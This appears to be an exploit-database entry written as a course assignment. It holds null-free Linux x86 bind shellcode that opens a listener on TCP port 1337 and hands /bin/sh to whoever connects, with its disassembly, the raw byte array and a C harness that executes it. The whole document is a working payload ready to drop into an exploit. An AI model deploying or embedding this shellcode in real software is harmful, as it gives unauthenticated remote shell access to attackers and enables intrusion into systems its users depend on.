Linux/x86 - Bind TCP (1337/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 bytes)

/**
# Linux x86 Bind TCP shellcode
# This shellcode will listen on port 1337 and give you /bin/sh
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 92
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/bind-tcp-shellcode-x86-slae-assignment.html
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:   6a 66                   push   0x66
 8048062:   58                      pop    eax
 8048063:   31 db                   xor    ebx,ebx
 8048065:   53                      push   ebx
 8048066:   43                      inc    ebx
 8048067:   53                      push   ebx
 8048068:   6a 02                   push   0x2
 804806a:   89 e1                   mov    ecx,esp
 804806c:   99                      cdq   
 804806d:   cd 80                   int    0x80
 804806f:   96                      xchg   esi,eax
 8048070:   52                      push   edx
 8048071:   66 68 05 39             pushw  0x3905
 8048075:   43                      inc    ebx
 8048076:   66 53                   push   bx
 8048078:   89 e1                   mov    ecx,esp
 804807a:   6a 10                   push   0x10
 804807c:   51                      push   ecx
 804807d:   56                      push   esi
 804807e:   89 e1                   mov    ecx,esp
 8048080:   6a 66                   push   0x66
 8048082:   58                      pop    eax
 8048083:   cd 80                   int    0x80
 8048085:   53                      push   ebx
 8048086:   6a 04                   push   0x4
 8048088:   5b                      pop    ebx
 8048089:   56                      push   esi
 804808a:   89 e1                   mov    ecx,esp
 804808c:   6a 66                   push   0x66
 804808e:   58                      pop    eax
 804808f:   cd 80                   int    0x80
 8048091:   52                      push   edx
 8048092:   52                      push   edx
 8048093:   56                      push   esi
 8048094:   89 e1                   mov    ecx,esp
 8048096:   43                      inc    ebx
 8048097:   6a 66                   push   0x66
 8048099:   58                      pop    eax
 804809a:   cd 80                   int    0x80
 804809c:   93                      xchg   ebx,eax
 804809d:   6a 02                   push   0x2
 804809f:   59                      pop    ecx
 
080480a0 <loop>:
 80480a0:   6a 3f                   push   0x3f
 80480a2:   58                      pop    eax
 80480a3:   cd 80                   int    0x80
 80480a5:   49                      dec    ecx
 80480a6:   79 f8                   jns    80480a0 <loop>
 80480a8:   31 c9                   xor    ecx,ecx
 80480aa:   51                      push   ecx
 80480ab:   6a 0b                   push   0xb
 80480ad:   58                      pop    eax
 80480ae:   68 2f 2f 73 68          push   0x68732f2f
 80480b3:   68 2f 62 69 6e          push   0x6e69622f
 80480b8:   89 e3                   mov    ebx,esp
 80480ba:   cd 80                   int    0x80
 
**/
 
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x6a\x04\x5b\x56\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}